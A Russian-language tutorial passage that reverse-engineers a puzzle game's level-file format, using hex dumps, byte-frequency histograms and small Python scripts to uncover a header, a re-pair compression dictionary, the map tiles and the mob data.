Возможно, в середине файлов могут быть и другие области, которые мы пока не рассматривали. Следующее, что мы хотим сделать — исследовать таким образом файлы целиком. Но так как все файлы имеют разные размеры, их нельзя расположить в красивом прямоугольном массиве пикселей. Мы можем заполнить конец каждой строки чёрными пикселями, но будет лучше, если мы изменим их размер так, чтобы все строки были одинаковой ширины и пропорциональные области разных файлов более-менее совпадали.
И мы на самом деле можем это сделать, приложив чуть больше усилий. Можно воспользоваться Python и его библиотекой для работы с изображениями `PIL` («Pillow»):
Файл showbytes.py:
```
import sys
from PIL import Image
# Retrieve the full list of data files.
filenames = sys.argv[1:]
# Create a grayscale image, its height equal to the number of data files.
width = 750
height = len(filenames)
image = Image.new('L', (width, height))
# Fill in the image, one row at a time.
for y in range(height):
# Retrieve the contents of one data file.
data = open(filenames[y]).read()
linewidth = len(data)
# Turn the data into a pixel-high image, each byte becoming one pixel.
line = Image.new(image.mode, (linewidth, 1))
linepixels = line.load()
for x in range(linewidth):
linepixels[x,0] = ord(data[x])
# Stretch the line out to fit the final image, and paste it into place.
line = line.resize((width, 1))
image.paste(line, (0, y))
# Magnify the final image and display it.
image = image.resize((width, 3 * height))
image.show()
```
Когда мы вызовем этот скрипт, использовав качестве аргументов полный список файлов данных, он создаст полное изображение и отобразит его в отдельном окне:
>
> ```
> $ python showbytes.py levels/*
> ```
>
К сожалению, хоть это изображение и является полным, оно не показывает нам ничего нового. (А на самом деле показывает даже меньше, потому что изменение размера уничтожило паттерн из полос.) Наверно, для изучения всего множества данных нам потребуется процесс визуализации получше.
### Характеризуем данные
Учтя это, давайте ненадолго остановимся и выполним полную перепись данных. Нам нужно знать, не отдают ли файлы данных предпочтение определённым значениям байтов. Например, если каждое значение обычно бывает одинаково повторяющимся, то это будет сильным доказательством того, что файлы на самом деле сжаты.
Для полной переписи значений достаточно всего нескольких строк на Python:
Файл census.py:
```
import sys
data = sys.stdin.read()
for c in range(256):
print c, data.count(chr(c))
```
Засунув все данные в одну переменную, мы можем выполнить подсчёт частоты появления каждого байтового значения.
>
> ```
> $ cat levels/* | python ./census.py | less
> 0 2458
> 1 2525
> 2 1626
> 3 1768
> 4 1042
> 5 1491
> 6 1081
> 7 1445
> 8 958
> 9 1541
> 10 1279
> 11 1224
> 12 845
> 13 908
> 14 859
> 15 1022
> 16 679
> 17 1087
> 18 881
> 19 1116
> 20 1007
> 21 1189
> 22 1029
> 23 733
> lines 1-24/256 (more)
> ```
>
Мы видим, что чаще всего встречаются байтовые значения 0 и 1, следующими по частоте идут 2 и 3, после чего количество продолжает уменьшаться (хотя и с меньшим постоянством). Чтобы лучше визуализировать эти данные, мы можем передать вывод в `gnuplot` и превратить эту перепись в гистограмму:
Опция `-p` утилиты `gnuplot` приказывает не закрывать окно с графиком после завершения работы `gnuplot`.
>
> ```
> $ cat levels/* | python ./census.py | gnuplot -p -e 'plot "-" with boxes'
> ```
>
Очень заметно, что первые несколько байтовых значений встречаются гораздо чаще, чем все остальные. Несколько следующих значений тоже достаточно распространены, а затем частоты значений примерно от 50 начинают снижаться по плавной кривой вероятностей. Однако есть подмножество высоких значений, равномерно отделённых друг от друга, частота которых кажется довольно стабильной. Посмотрев на исходные выходные данные, мы можем убедиться, что это подмножество состоит из значений, без остатка делящихся на восемь.
Эти различия в количестве значений намекают, что существует несколько разных «классов» байтовых значений, поэтому будет логично посмотреть, как распределены эти классы. Первой группой байтовых значений будут самые низкие значения: 0, 1, 2 и 3. Тогда второй группой могут быть значения от 4 до 64. А третьей группой будут значения выше 64, которые без остатка делятся на 8. Всё остальное, в том числе и не делящиеся на 8 значения больше 64, будут составлять четвёртую и последнюю группу.
С учётом всего этого мы можем изменить последний написанный скрипт генерации изображений. Вместо того, чтобы отображать отдельным цветом настоящие значения каждого байта, давайте просто покажем, к какой группе относится каждый байт. Можно назначить каждой из четырёх групп уникальный цвет, и это поможет нам увидеть, действительно ли определённые значения обычно появляются в определённых местах.
Файл showbytes2.py:
```
import sys
from PIL import Image
# Retrieve the full list of data files.
filenames = sys.argv[1:]
# Create a color image, its height equal to the number of data files.
width = 750
height = len(filenames)
image = Image.new('RGB', (width, height))
# Fill in the image, one row at a time.
for y in range(height):
# Retrieve the contents of one data file.
data = open(filenames[y]).read()
linewidth = len(data)
# Turn the data into a pixel-high image, each byte becoming one pixel.
line = Image.new(image.mode, (linewidth, 1))
linepixels = line.load()
# Determine which group each byte belongs to and assign it a color.
for x in range(linewidth):
byte = ord(data[x])
if byte < 0x04: linepixels[x,0] = (255, 0, 0)
elif byte < 0x40: linepixels[x,0] = (0, 255, 0)
elif byte % 8 == 0: linepixels[x,0] = (0, 0, 255)
else: linepixels[x,0] = (255, 255, 255)
# Paste the line of pixels into the final image, stretching to fit.
line = line.resize((width, 1))
image.paste(line, (0, y))
# Magnify the final image and display it.
image = image.resize((width, 3 * height))
image.show()
```
Мы назначили четырём группам красный, зелёный, синий и белый цвета. (Вы опять же можете попробовать выбрать другие цвета, соответствующие вашим предпочтениям.)
>
> ```
> $ python showbytes2.py levels/*
> ```
>
Благодаря этому изображению мы можем предварительно подтвердить правильность разделения файлов данных на пять частей:
1. Четырёхбайтный заголовок, который мы уже нашли ранее.
2. Область полос, которую мы не видим непосредственно, но она содержит множество красных пикселей (т.е. низких байтовых значений).
3. Основная часть, в которой у большинства файлов в основном находятся зелёные пиксели (т.е значения ниже 64).
4. Часть ближе к концу, где внезапно начинают доминировать синие пиксели.
5. Короткая последняя часть, которая внезапно возвращается к зелёным значениям.
Благодаря этим цветам понятно, что в четвёртой части, где преобладают высокие байтовые значения, как это видно на изображении в градациях серого, особенно преобладают высокие байтовые значения, делящиеся на 8.
Из предыдущего изображения мы знаем, что вторая часть, то есть часть с полосами, растягивается за почти полностью красную область. На самом деле, на одном из первых изображений мы видели, что часть с полосами, идя слева направо, в среднем медленно светлеет.
Мы снова видим, что незелёные пиксели с основной третьей части время от времени образуют пунктирные паттерны из перемежающихся зелёных и красных пикселей (или синих, или белых). Однако этот паттерн не особо регулярен, и может быть мнимым.
Разумеется, это деление файла на пять частей очень условно. Четвёртая часть с высокими байтовыми значениями, делящимися на восемь, может оказаться всего лишь концом третьей части. Или может оказаться, что лучше всего разделить крупную третью часть на несколько частей, которые мы ещё не определили. На этом этапе обнаружение частей больше помогает нам находить места для дальнейшего исследования. Нам пока достаточно знать, что существуют части, в которых меняется общий состав байтовых значений, а приблизительное представление об их размере поможет нам продолжать исследования.
### Поиск структуры
Что нам искать дальше? Ну, как и раньше, проще всего начать с верха файла. Или, скорее, рядом с верхом. Так как мы уже довольно уверенно определили первую часть как четырёхбайтный заголовок, давайте внимательнее рассмотрим то, что идёт дальше — область, которую мы называем второй частью, или частью полос. Эти полосы — самый сильный намёк на существование структуры, поэтому искать новые свидетельства наличия паттерна лучше искать здесь.
(На время мы предположим, что паттерн из полос начинается сразу же после первых четырёх байтов. Визуально это неочевидно, но кажется вероятным, и исследование байтовых значений быстро должно показать нам правду.)
Давайте вернёмся к hex dump, на этот раз сосредоточившись на второй части. Помните, что мы ожидаем найти повторяющийся паттерн немного более высоких значений, равномерно распределённых среди немного более низких значений.
Опция `-s4` приказывает `xxd` пропустить первые 4 байта файла.
>
> ```
> $ for f in levels/* ; do xxd -s4 $f | sed -n 1p ; done | less
> 00000004: 0200 0003 0202 0401 0105 0303 0700 0108 ................
> 00000004: 0201 0104 0000 0504 0407 0202 0902 010a ................
> 00000004: 0300 0004 0303 0504 0407 0505 0801 0109 ................
> 00000004: 0300 0009 0202 1203 0313 0909 1401 0115 ................
> 00000004: 0203 0305 0000 0602 0207 0505 0901 010a ................
> 00000004: 0203 0304 0000 0502 0206 0404 0901 010a ................
> 00000004: 0300 0005 022a 0602 2907 0303 0902 000a .....*..).......
> 00000004: 0203 0305 0000 0605 0507 0101 0802 0209 ................
> 00000004: 0300 0007 0303 0901 010a 0707 0b09 090c ................
> 00000004: 0300 0004 0101 0903 030e 0404 1609 0920 ...............
> 00000004: 0200 0003 1313 0402 0205 0013 0701 0109 ................
> 00000004: 0500 0006 0505 0701 0109 0606 0e07 070f ................
> 00000004: 0100 0003 0101 0a03 030b 0a0a 0e32 3216 .............22.
> 00000004: 0300 0004 0705 0903 030a 0606 0b08 080c ................
> 00000004: 0200 0003 0701 0402 0209 0501 0a08 080b ................
> 00000004: 0200 0003 0202 0901 010a 0303 0b05 010d ................
> 00000004: 0200 0003 0202 0403 0305 0101 0904 040a ................
> 00000004: 0300 0007 0303 0f01 0115 0707 2114 1422 ............!.."
> 00000004: 0200 0003 0202 0403 0309 0101 0a04 040b ................
> 00000004: 0231 3103 0202 0500 0006 0303 0701 0109 .11.............
> 00000004: 0200 0003 0202 0b32 320c 0303 0e08 0811 .......22.......
> 00000004: 0201 0103 0000 0902 020a 0303 0b09 090c ................
> 00000004: 0200 0003 0202 0a01 010b 0303 0d0b 0b0f ................
> 00000004: 0300 0005 0303 0701 0109 0001 0b05 051b ................
> lines 27-50/148 (more)
> ```
>
Внимательно посмотрев на последовательность байтов в строке, мы можем увидеть паттерн, по которому первый, четвёртый, седьмой и десятый байт больше, чем его ближайшие соседи. Этот паттерн неидеален, в нём есть исключения, но он определённо достаточно устойчив, чтобы создавать визуальную повторяемость полос, замеченную на всех изображениях. (И его достаточно для подтверждения нашего предположения о том, что паттерн из полос начинается сразу после четырёхбайтного заголовка.)
Постоянство этого паттерна явно предполагает, что эта часть файла является массивом или таблицей, и каждая запись в массиве имеет длину три байта.
Можно настроить формат шестнадцатеричного дампа, чтобы проще увидеть вывод как серию триплетов:
Опция `-g3` задаёт группирование по трём байтам вместо двух. Опция `-c18` задаёт 18 байтов (число, кратное 3) в строке вместо 16.
>
> ```
> $ for f in levels/* ; do xxd -s4 -g3 -c18 $f | sed -n 1p ; done | less
> 00000004: 050000 060505 070101 090606 0e0707 0f0001 ..................
> 00000004: 010000 030101 0a0303 0b0a0a 0e3232 161414 .............22...
> 00000004: 030000 040705 090303 0a0606 0b0808 0c0101 ..................
> 00000004: 020000 030701 040202 090501 0a0808 0b0101 ..................
> 00000004: 020000 030202 090101 0a0303 0b0501 0d0302 ..................
> 00000004: 020000 030202 040303 050101 090404 0a0302 ..................
> 00000004: 030000 070303 0f0101 150707 211414 221313 ............!.."..
> 00000004: 020000 030202 040303 090101 0a0404 0b0001 ..................
> 00000004: 023131 030202 050000 060303 070101 090505 .11...............
> 00000004: 020000 030202 0b3232 0c0303 0e0808 110b0b .......22.........
> 00000004: 020101 030000 090202 0a0303 0b0909 0c0a0a ..................
> 00000004: 020000 030202 0a0101 0b0303 0d0b0b 0f2323 ................##
> 00000004: 030000 050303 070101 090001 0b0505 1b0707 ..................
> 00000004: 022323 030000 040202 050303 030101 070505 .##...............
> 00000004: 031414 050000 060303 070505 080101 090707 ..................
> 00000004: 030000 050202 060303 070505 080101 090606 ..................
> 00000004: 030202 040000 050303 070404 080005 090101 ..................
> 00000004: 030202 040000 050303 090404 1d0101 1f0909 ..................
> 00000004: 020000 050303 060101 070202 0f0300 110505 ..................
> 00000004: 050000 070101 0c0505 0d0007 110c0c 120707 ..................
> 00000004: 030202 050000 060303 070505 080101 090606 ..................
> 00000004: 020000 030101 050202 060505 070100 080303 ..................
> 00000004: 020000 030202 050303 090101 0a0505 0b0302 ..................
> 00000004: 022c2c 030000 040202 020303 050101 060202 .,,...............
> lines 38-61/148 (more)
> ```
>
В отформатированном таким образом дампе начинают проявляться некоторые другие особенности этого паттерна. Как и раньше, первый байт каждого триплета обычно больше окружающих его байтов. Также можно заметить, что второй и третий байты каждого триплета часто дублируются. Пройдя вниз по первому столбцу, мы увидим, что большинство значений вторых и третьих байтов равны `0000`. Но ненулевые значения тоже часто встречаются попарно, например `0101` или `2323`. Этот паттерн тоже неидеален, но в нём слишком много общего, чтобы это было совпадением. А взглянув на столбец ASCII справа, мы убедимся, что когда у нас бывают байтовые значения, соответствующие печатаемому символу ASCII, то они часто встречаются парами.
Ещё один стоящий упоминания паттерн, который заметен не сразу: первый байт каждого триплета при движении слева направо увеличивается. Хотя этот паттерн менее заметен, устойчивость его высока; нужно просмотреть много строк, прежде чем мы найдём первое несоответствие. А байты обычно увеличиваются на небольшие значения, однако не представляющие никакого регулярного паттерна.
При изучении исходного изображения мы заметили, что часть с полосами кончается в каждом файле не в одном и том же месте. Существует переход от создающего полосы паттерна слева к выглядящему случайно шуму справа, но этот переход происходит для каждой строки пикселей в разных точках. Это подразумевает, что должен существовать некий маркер, чтобы считывающая файл данных программа могла понять, где заканчивается массив и начинается другое множество данных.
Давайте вернёмся к дампу только первого уровня, чтобы изучить файл целиком:
>
> ```
> $ xxd -s4 -g3 -c18 levels/lesson_1.pak
> 00000004: 020000 040202 050404 070505 080707 090001 ..................
> 00000016: 0a0101 0b0808 0d0a0a 110023 150907 180200 ...........#......
> 00000028: 22090d 260911 270b0b 280705 291e01 272705 "..&..'..(..)..''.
> 0000003a: 020d01 220704 090209 0a0215 042609 250111 ...".........&.%..
> 0000004c: 150222 1d0124 011d0d 010709 002000 1b0400 .."..$....... ....
> 0000005e: 1a0020 152609 1f0033 002911 152223 02110d .. .&...3.).."#...
> 00000070: 010726 091f18 291115 09181a 022302 1b0215 ..&...)......#....
> 00000082: 22011c 011c0d 0a0704 090201 020128 260123 ".............(&.#
> 00000094: 150509 020121 150522 0a2727 0b0504 00060b .....!..".''......
> 000000a6: 082804 18780b 082804 18700b 082804 186400 .(..x..(..p..(..d.
> 000000b8: 17101e 1e1a19 010300 0e1a17 17100e 1f010e ..................
> 000000ca: 13141b 291f1a 001210 1f011b 0c1e1f 011f13 ...)..............
> 000000dc: 10010e 13141b 001e1a 0e1610 1f2d00 201e10 .............-. ..
> 000000ee: 011610 24291f 1a011a 1b1019 000f1a 1a1d1e ...$).............
> 00000100: 2d02
> ```
>
Изучая последовательности триплетов, мы можем предварительно предположить, что часть с полосами в этих данных заканчивается после 17 триплетов, по смещению `00000036`. Это не точно, но первый байт каждого триплета постоянно увеличивает своё значение, а затем уменьшается на восемнадцатом триплете. Ещё одно доказательство: в восемнадцатом триплете второй байт имеет то же значение, что и первый. Этого мы ещё не замечали, но если вернёмся назад и посмотрим, то увидим, что первый байт никогда не равен второму или третьему байту.
Если наша теория о маркерах верна, то есть две возможности. Во-первых, возможно, после части с полосами существует некое специальное байтовое значение (сразу после семнадцатого триплета). Во-вторых, вероятно, существует хранимое где-то значение, равное размеру части с полосами. Этот размер может равен числу 17 (то есть обозначает количество триплетов), или 51 (обозначает общее количество байтов в части), или 55 (51 плюс 4, то есть смещение файла, в котором заканчивается эта часть).
Для первого варианта двойное байтовое значение может быть маркером конца части (учитывая то, что такая последовательность никогда не встречается во второй части). Однако внимательное изучение нескольких других файлов данных противоречит этой идее, потому что такой паттерн нигде больше не появляется.
Для второго варианта очевидно будет поискать индикатор размера в первой части. Узрите — первое 16-битное значение в четырёхбайтном заголовке файла равно 17:
>
> ```
> $ od -An -tuS -N4 levels/lesson_1.pak
> 17 203
> ```
>
Если наша теория верна, тогда это значение определяет не сам размер части с полосами, а количество трёхбайтных записей. Чтобы проверить эту идею, давайте вернёмся к вычислениям, где мы сравнивали сумму двух 16-битных целочисленных значений с размером файла. На этот раз мы умножим первое число на три, чтобы получить настоящий размер в байтах:
>
> ```
> $ for f in levels/* ; do size=$(wc -c <$f) ; read v1 v2 < <(od -tuS -An -N4 $f) ; diff=$(($size - 3 * $v1 - $v2)) ;
> echo "$size = 3 * $v1 + $v2 + $diff" ; done | less
> 585 = 3 * 35 + 476 + 4
> 586 = 3 * 45 + 447 + 4
> 550 = 3 * 43 + 417 + 4
> 302 = 3 * 29 + 211 + 4
> 517 = 3 * 45 + 378 + 4
> 671 = 3 * 49 + 520 + 4
> 265 = 3 * 26 + 183 + 4
> 344 = 3 * 26 + 262 + 4
> 478 = 3 * 32 + 378 + 4
> 342 = 3 * 58 + 164 + 4
> 336 = 3 * 38 + 218 + 4
> 352 = 3 * 36 + 240 + 4
> 625 = 3 * 42 + 495 + 4
> 532 = 3 * 44 + 396 + 4
> 386 = 3 * 42 + 256 + 4
> 450 = 3 * 27 + 365 + 4
> 373 = 3 * 30 + 279 + 4
> 648 = 3 * 50 + 494 + 4
> 477 = 3 * 42 + 347 + 4
> 530 = 3 * 44 + 394 + 4
> 247 = 3 * 29 + 156 + 4
> 325 = 3 * 32 + 225 + 4
> 394 = 3 * 32 + 294 + 4
> 343 = 3 * 31 + 246 + 4
> lines 1-24/148 (more)
> ```
>
Ага! После этого изменения общая сумма из заголовка всегда точно на четыре меньше размера всего файла данных. А поскольку четыре — это ещё и количество байтов в заголовке, очевидно, что это не совпадение. Первое число даёт нам количество трёхбайтных записей в таблице, а второе число — количество байтов, составлящих оставшуюся часть файла данных.
Мы обнаружили постоянную формулу, а значит, полностью теперь понимаем, что означают числа в первой части.
(Кстати, здесь есть тот самый тайный паттерн, который могли заметить внимательные читатели. При внимательном изучении уравнений становится понятно, что когда файлы имеют одинаковое первое число, у них получается одинаковая разность остатка. Так получается, потому что разность всегда в два раза больше значения первого числа. Это неочевидный паттерн, но кропотливый или удачливый наблюдатель мог бы его заметить.)
Итак, мы можем сказать, что файл имеет три основные части:
1. четырёхбайтный заголовок;
2. таблица трёхбайтных записей; и
3. оставшаяся часть файла, в которой, предположительно, находится бОльшая часть данных.
(Следовательно, другие части, которые мы приблизительно определили ранее, должны быть подразделами третьей части.)
### Интерпретируем метаданные
С учётом этой схемы, было бы логично предположить, что записи в таблице второй части являются некими метаданными, которые необходимы для интерпретирования данных третьей части.
Но какие же метаданные содержит эта таблица?
Выше мы заметили, что есть пара признаков того, что файл данных может быть сжат. (Теперь это кажется ещё правдоподобнее, ведь мы знаем, что третья часть каждого файла, предположительно содержащая данные каждого уровня, имеет размер всего 100–600 байт.) Если это так, то вполне возможно, что таблица, предваряющая основные данные, содержит метаданные сжатия — некий словарь, применяемый во время распаковки. Например, перед данными, закодированными алгоритмом Хаффмана, обычно есть словарь, сопоставляющий исходные байтовые значения с битовыми последовательностями. Хоть мы и не ожидаем, что эти файлы закодированы алгоритмом Хаффмана (так как данные демонстрируют чёткие паттерны на уровне байтов, то есть вряд ли являются битовым потоком), было бы вполне разумно попробовать интерпретировать эту таблицу как словарь распаковки.
(Разумеется, не в каждом типе сжатия используется хранимый словарь. Например, алгоритм deflate, применяемый в `gzip` и `zlib`, позволяет воссоздавать словарь непосредственно из потока данных. Но такие случаи скорее являются исключением, чем правилом.)
Обычно запись словаря состоит из двух частей: ключа и значения. Разумеется, иногда ключ является подразумеваемым, например, когда он упорядочен не в таблицу поиска, а в массив. Однако мы уже заметили, что трёхбайтные записи как будто бы состоят из двух частей — в частности, первый байт каждой записи следует паттерну, чётко отличающемуся от паттерна второго и третьего байтов. С учётом этого, разумной первой гипотезой будет считать первый байт ключом, а оставшиеся два байта — значением.
Если это так, то один из простейших способов интерпретации части с полосами состоит в том, что первый байт — это байтовое значение, которое нужно заменять в сжатых данных, а второй и третий байты — значение, которыми его нужно заменять. Результат, создаваемый этой схемой, определённо будет больше, хоть и непонятно, насколько. Как бы то ни было, это вполне логичная гипотеза, и её достаточно легко проверить. Мы можем написать на Python короткую программу, реализующую эту схему распаковки:
Файл decompress.py:
```
import struct
import sys
# Read the compressed data file.
data = sys.stdin.read()
# Extract the two integers of the four-byte header.
tablesize, datasize = struct.unpack('HH', data[0:4])
data = data[4:]
# Separate the dictionary table and the compressed data.
tablesize *= 3
table = data[0:tablesize]
data = data[tablesize:datasize]
# Apply the dictionary entries to the data section.
for n in range(0, len(table), 3):
key = table[n]
val = table[n+1:n+3]
data = data.replace(key, val)
# Output the expanded result.
sys.stdout.write(data)
```
Теперь мы можем проверить этот скрипт на примере файла данных:
> `$ python ./decompress.py
> 00000000: 0b0b 0b0b 0404 0000 0a0a 0109 0d05 0502 ................
>
> 00000010: 0200 0100 0000 0101 0100 0009 0702 0209 ................
>
> 00000020: 1100 0125 0100 2309 0700 0009 0d1d 0124 ...%..#........$
>
> 00000030: 011d 0a0a 0105 0500 0100 2000 1b02 0200 .......... .....
>
> 00000040: 1a00 2009 0709 1100 011f 0033 001e 0100 .. ........3....
>
> 00000050: 2309 0709 0d23 0000 0023 0a0a 0105 0509 #....#...#......
>
> 00000060: 1100 011f 0200 1e01 0023 0907 0001 0200 .........#......
>
> 00000070: 1a00 0023 0000 1b00 0009 0709 0d01 1c01 ...#............
>
> 00000080: 1c0a 0a01 0105 0502 0200 0100 0001 0000 ................
>
> 00000090: 0107 0509 1101 2309 0704 0400 0100 0001 ......#.........
>
> 000000a0: 2109 0704 0409 0d01 010b 0b0b 0b08 0804 !...............
>
> 000000b0: 0402 0200 0608 0807 0707 0502 0202 0078 ...............x
>
> 000000c0: 0808 0707 0705 0202 0200 7008 0807 0707 ..........p.....
>
> 000000d0: 0502 0202 0064 0017 101e 1e1a 1901 0300 .....d..........
>
> 000000e0: 0e1a 1717 100e 1f01 0e13 141b 1e01 1f1a ................
>
> 000000f0: 0012 101f 011b 0c1e 1f01 1f13 1001 0e13 ................
>
> 00000100: 141b 001e 1a0e 1610 1f2d 0020 1e10 0116 .........-. ....
>
> 00000110: 1024 1e01 1f1a 011a 1b10 1900 0f1a 1a1d .$..............
>
> 00000120: 1e2d 0000`
Однако результаты ничем не примечательны. Разумеется, получившийся поток данных стал более развёрнутым по сравнению с исходным, но ненамного. Определённо не настолько, чтобы содержать в себе все данные, которые мы ожидаем найти. Очевидно, что эта схема распаковки немного проще, чем нужно.
Если внимательнее изучить полученный вывод, то мы вскоре увидим, что он начинается со множества повторяющихся байтов. `0b`, `04`, `00`, `0a` — все они встречаются попарно. Взглянув на сжатый оригинал, мы увидим, что все эти пары возникли из-за замены по словарю. Но в процессе мы сразу же заметим, что все эти повторяющиеся значения также соответствуют записям в словаре. То есть если мы снова применим словарь, то данные снова расширятся. Возможно, мы недостаточно распаковываем?
Нашей первой догадкой может стать выполнение второго прохода, применение каждой записи словаря второй раз, чтобы развернуть данные ещё больше. Второй догадкой может быть выполнение многократных проходов со словарём, повторение процесса, пока не будут заменены все байты, похожие на ключи словаря. Однако если мы внимательнее приглядимся к структуре словаря, то осознаем, что мы просто применяем записи словаря *справа налево*, а не слева направо, когда все наши значения будут развёрнуты за один проход.
Взяв эту гипотезу, мы можем увидеть структуру более правдоподобного алгоритма сжатия. Программа берёт исходные данные и сканирует их, ища самые часто встречающиеся двухбайтные последовательности. Затем она заменяет двухбайтную последовательность одним байтовым значением, которое не встречается в данных. Затем она повторяет процесс, продолжая его, пока в данных не найдётся более чем двукратного повторения двухбайтных последовательностей. На самом деле, у такого алгоритма сжатия есть название: он известен как сжатие «re-pair», что является сокращением от «recursive pairs».
(И это может объяснить некоторые паттерны, которые мы видим в словаре. В процессе сжатия словарь строится слева направо, поэтому при распаковке он должен применяться справа налево. Так как записи словаря часто ссылаются на предыдущие записи, логично, что вторые и третьи байты часто будут меньше по значению, чем первый.)
> Хотя сжатие re-pair даёт не особо впечатляющие результаты, оно имеет преимущество: распаковщик можно реализовать минимумом кода. Я и сам использовал re-pair в некоторых ситуациях, когда мне нужно было минимизировать *общий* размер сжатых данных и кода распаковки.
Итак, мы можем внести изменение в одну строку программы на Python, чтобы применять словарь справа налево:
Файл decompress2.py:
```
import struct
import sys
# Read the compressed data file.
data = sys.stdin.read()
# Extract the two integers of the four-byte header.
tablesize, datasize = struct.unpack('HH', data[0:4])
data = data[4:]
# Separate the dictionary table and the compressed data.
tablesize *= 3
table = data[0:tablesize]
data = data[tablesize:datasize]
# Apply the dictionary entries to the data section in reverse order.
for n in range(len(table) - 3, -3, -3):
key = table[n]
val = table[n+1:n+3]
data = data.replace(key, val)
# Output the expanded result.
sys.stdout.write(data)
```
Если мы попробуем эту версию, то вывод будет гораздо больше:
>
> ```
> $ python ./decompress2.py
> ```
>
Мы видим в этом выводе много нулевых байтов, но это вполне может соответствовать почти пустой карте. Похоже, ненулевые байты сгруппировались рядом друг с другом. Так как мы надеемся найти карту размером 32 × 32, давайте переформатируем вывод в 32 байт на строку:
>
> ```
> $ python ./decompress2.py
> ```
>
Внимательно посмотрев на паттерны ненулевых значений, мы увидим, что в выводе чётко видна карта. На самом деле, мы можем сделать этот паттерн более заметным с помощью инструмента «раскрашенного» дампа, который назначает каждому байтовому значению свой цвет, упрощая поиск паттернов повторяющихся значений:
`xcd` — это нестандартный инструмент, но его можно скачать [отсюда](http://www.muppetlabs.com/%7Ebreadbox/software/xcd.html). Заметьте опцию `-r` утилиты `less`, которая приказывает очищать управляющие последовательности.
Сравните это с нарисованной фанатами картой первого уровня:
Без сомнений, мы видим данные карты уровня. Можно быть вполне уверенными, что мы верно определили алгоритм распаковки.
### Интерпретирование данных
Сравнивая байтовые значения с изображением карты, мы можем определить, что `00` кодирует пустой тайл, `01` кодирует стену, а `23` обозначает чип. `1A` обозначает красную дверь, `1B` — синюю дверь, и так далее. Мы можем присвоить точные значения чипам, ключам, дверям и всем другим тайлам, из которых состоит вся карта уровня.
Теперь мы можем перейти на следующий уровень и найти байтовые значения для появляющихся там объектов. И продолжить со следующими уровнями, пока не получим полный список байтовых значений и игровых объектов, которые они кодируют.
Как мы изначально и предположили, карта заканчивается ровно после 1024 байт (по смещению `000003FF`).
На этот раз для удаления первых 32 строк дампа мы используем `sed`. Поскольку у нас отображается по 32 байта на строку, так мы пропустим первые 1024 байт.
Сразу же за данными карты идёт последовательность из 384 байт (значения которых находятся в интервале `00000400`–`0000057F`), почти все из которых равны нулю, но между ними попадаются и ненулевые значения. После этого идёт совершенно другой паттерн байтов, поэтому логично будет предположить, что эта 384-байтная последовательность является отдельной частью.
Если мы посмотрим ещё на несколько уровней, то быстро заметим паттерн. 384-байтная часть на самом деле состоит из трёх подразделов, каждый длиной 128 байт. Каждый подраздел начинается с нескольких ненулевых байтов, за которым идут нули, заполняющие остаток подраздела.
У некоторых уровней здесь содержится много данных; у других (например у первого уровня) только самый минимум. Сравнивая уровни с их картами, мы вскоре заметим, что количество данных в этой части файла напрямую связано с количеством «мобов» на уровне. В данном случае в число «мобов» включаются все существа на уровне, блоки земли (которые не движутся самостоятельно, но их можно толкать) и сам главный герой Чип (игрок). То есть мобы указываются не на самой карте, а кодируются в этих трёх буферах.
После того, как мы узнали, что в этих трёх подразделах содержатся данные о мобах на уровне, будет не очень сложно разобраться, что же содержится в каждом из подразделов.
Первый 128-байтный подраздел — это список байтовых значений, определяющих тип моба. Например, буферы второго уровня выглядят так:
>
> ```
> $ python ./decompress2.py
> ```
>
Сравните это с картой уровня:
На этом уровне содержится шесть мобов: три жука, два блока и Чип. Первый 128-байтный подраздел содержит один байт `06`, три байта `08` и два байта `1C`. Разумно будет заключить, что `06` обозначает Чипа, `08` — жука, а `1C` — блок.
(Продолжив сравнивать файлы данных с картами уровней и заполнять наш словарь мобов, мы быстро найдём в этой теории изъян: Чип может быть обозначен четырьмя разными значениями, а именно `04`, `05`, `06` или `07`. Это множество обозначений на самом деле содержит всех мобов. При внимательном изучении разных значений мы со временем поймём, что к байтовому значению, обозначающему тип, прибавляется значение 0, 1, 2 или 3, обозначающее первоначальное направление моба: север, восток, юг или запад. То есть, например, байтовое значение `06` обозначает Чипа, смотрящего на юг.)
Значение двух других подразделов менее очевидно. Но изучив повторяющиеся значения в этих подразделах и сравнив карты для этих мобов, мы поймём, что байты во втором подразделе хранят координату X каждого моба, а байты в третьем подразделе — координату Y каждого моба. Пониманию этого решения мешает тот факт, что координаты, хранящиеся в этих подразделах, на самом деле сдвинуты на 3 бита влево, т.е. умножены на 8. Этот небольшой факт объясняет «синюю» группу, которую мы обнаружили при переписи значений. (Причины, по которым выполнен этот сдвиг, непонятны, но скорее всего нижние три бита используются для представления анимации, когда мобы двигаются.)
Разобравшись с этой частью, мы можем теперь увидеть, у скольких файлов данных осталось после неё всего несколько байт:
Учтите, что `xxd` принимает для опции `-s` шестнадцатеричное значение.
>
> ```
> $ for f in levels/* ; do python ./decompress2.py <$f | xxd -s 0x580 | sed -n 1p ; done | less
> 00000580: 9001 0c17 1701 1120 1717 00 ....... ...
> 00000580: 0000 0c17 1b13 0c0d 101f 011e 1a20 1b00 ............. ..
> 00000580: f401 0c18 1e1f 101d 0f0c 1800 ............
> 00000580: 2c01 0c1b 0c1d 1f18 1019 1f00 ,...........
> 00000580: 9001 0c1d 0e1f 140e 1117 1a22 00 ...........".
> 00000580: 2c01 0d0c 1717 1e01 1a01 1114 1d10 00 ,..............
> 00000580: 2c01 0d10 220c 1d10 011a 1101 0d20 1200 ,..."........ ..
> 00000580: 5802 0d17 1419 1600 X.......
> 00000580: 0000 0d17 1a0d 0f0c 190e 1000 ............
> 00000580: f401 0d17 1a0d 1910 1f00 ..........
> 00000580: f401 0d17 1a0e 1601 110c 0e1f 1a1d 2400 ..............$.
> 00000580: ee02 0d17 1a0e 1601 0d20 1e1f 101d 0114 ......... ......
> 00000580: 5802 0d17 1a0e 1601 1901 1d1a 1717 00 X..............
> 00000580: 5e01 0d17 1a0e 1601 1a20 1f00 ^........ ..
> 00000580: c201 0d17 1a0e 1601 0d20 1e1f 101d 00 ......... .....
> 00000580: 2c01 0d1a 2019 0e10 010e 141f 2400 ,... .......$.
> 00000580: 5000 0d1d 201e 1311 141d 1000 P... .......
> 00000580: e703 0e0c 1610 0122 0c17 1600 ......."....
> 00000580: 5802 0e0c 1e1f 1710 0118 1a0c 1f00 X.............
> 00000580: 8f01 0e0c 1f0c 0e1a 180d 1e00 ............
> 00000580: 0000 0e10 1717 0d17 1a0e 1610 0f00 1b1d ................
> 00000580: 2c01 0e13 0e13 0e13 141b 1e00 ,...........
> 00000580: 8f01 0e13 1417 1710 1d00 ..........
> 00000580: bc02 0e13 141b 1814 1910 00 ...........
> lines 1-24/148 (more)
> ```
>
